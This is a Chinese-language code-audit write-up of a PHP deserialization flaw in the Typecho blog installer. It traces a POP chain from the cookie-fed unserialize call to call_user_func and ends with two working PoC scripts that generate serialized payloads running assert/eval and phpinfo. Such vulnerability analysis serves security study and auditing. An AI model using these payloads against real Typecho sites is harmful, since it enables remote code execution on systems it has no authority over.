PHP审计之PHP反序列化漏洞
前言
一直不懂,PHP反序列化感觉上比Java的反序列化难上不少。但归根结底还是serialize
和unserialize
中的一些问题。
在此不做多的介绍。
魔术方法
在php的反序列化中会用到各种魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,不仅仅是echo的时候,比如file_exists()判断也会触发
__invoke() //当脚本尝试将对象调用为函数时触发
代码审计
寻觅漏洞点
定位到漏洞代码install.php
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
前面的几个判断比较简单,判断finish传参的值是否存在,然后判断/config.inc.php
文件是否存在,按照惯例,在php安装完成后,会建立一个标识文件,进行识别程序是否安装,避免重复安装问题。
后面代码即走到这一步
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
接收Cookie中__typecho_config
的值,进行base64解密后再反序列化的操作。将反序列化后的数据存到$config
中,来到下面,清空cookie的值,然后实例化一个Typecho_Db
对象,将$config['adapter']
和$config['prefix']
进行存储到该对象中。
寻找POP链
这时候需要寻找一个pop链,在PHP中一般以__construct
或__destruct
方法来做反序列化反序列化的第一个触发点,而在Java里面则是需要反序列化的该对象被重写后的readObject方法。
来看到Db.php文件
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
这里的$adapterName
变量并且了一串Typecho_Db_Adapter_
字符串,假设$adapterName
为一个对象的话,即可触发到__toString()
方法。
寻找__toString
方法
Feed.php __toString
方法代码
foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
}
$result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
$result .= $content . '</rdf:RDF>';
} else if (self::RSS2 == $this->_type) {
...
}
self::RSS2 == $this->_type
中比较是否对等,self::RSS2
为RSS 2.0
字符串。
所以说需要走到这个判断条件下的逻辑在需要构造$this->_type
这个数据。
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...
}
下面这里调用了$item['author']->screenName
,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法.
寻找__get
方法
/var/Typecho/Request.php
public function __get($key)
{
return $this->get($key);
}
$key 传入的值为 scrrenName
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
$this->_params[$key]
值存在,即将该值赋值给$value
,然后判断该值不等于数组和小于0则数据不变。
然后调用$this->_applyFilter($value)
继续看到_applyFilter
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
关键地方在于上面代码中,判断$this->_filter
是否存在并且遍历filter
,假设上面传入的$value
为数组则调用array_map($filter, $value)
,否则则调用call_user_func($filter, $value)
这两个都回调方法都可以进行代码代码执行。
调用链:
Typecho_Db.__construct -> Typecho_Feed.__toString ->Typecho_Request.__get -> Typecho_Request.get -> Typecho_Request._applyFilter
构造POP链
来看看需要构造的数据
-
Typecho_Db
的__construct
方法$adapterName
变量需要为一个对象,并且是能触发到一个点的对象。根据上面寻找到的是Typecho_Feed
这个实例化对象拼接字符串的话,会触发__toString
。因此这个方法的参数第一个传递Typecho_Feed
,而第二个参数传递typecho_
。 -
上面分析Feed这个点的时候,需要将
self::RSS2
设置为RSS 2.0
,这个$this->_items[author]
传入一个不存在或者是方法为私有属性的screenName
方法的类。这样可以去自动去调用__get
。在上面寻找到的是Typecho_Request
,所以这里传入一个Typecho_Request
实例化对象。进行自动调用__get
-
在
Typecho_Request
198行中$this->_params[$key]
这个key的值是scrrenName
,即为$this->_params[scrrenName]
,则这个值需要设置为一个需要执行的代码。 -
最后走到
_applyFilter
这里遍历了$this->_filter
后,进行调用array_map
或call_user_func
,并且分别传入$filter
,$value
。那么这里即需要设置一个$this->_filter
为一个代码执行的方法。那么即可把整一个链给到代码执行给串联起来。
调试POP链
但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.
在install.php
的开始,调用了ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。(因此可选择回调函数用于处理输出结果信息)
该函数可以让你自由地控制脚本中数据的输出。比如可以用在输出静态化页面上。而且,当你想在数据已经输出后,再输出文件头的情况。输出控制函数不对使用 header() 或 setcookie(), 发送的文件头信息产生影响,只对那些类似于 echo() 和 PHP 代码的数据块有作用。原因是当打开了缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出,所以并不会有任何文件头输出的错误。
因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()
执行,原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。 1、因为call_user_func
函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
这里使用的是上面说的第二个办法。
<?php
class Typecho_Feed{
private $_type;
private $_items = array();
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params = array(
"screenName" => "eval('phpinfo();exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));
另外一个方法,直接mark过来,POC如下:
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
// $this->_params['screenName'] = 'whoami';
$this->_params['screenName'] = -1;
$this->_filter[0] = 'phpinfo';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "
";
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'host' => 'localhost',
'user' => 'xxxxxx',
'charset' => 'utf8',
'port' => '3306',
'database' => 'typecho',
'adapter' => $x,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
参考
[红日安全]代码审计Day11 - unserialize反序列化漏洞
结尾
PHP的反序列化相当于Java的反序列化个人感觉PHP的反序列化比较灵活,可以结合各种魔术方法做联动。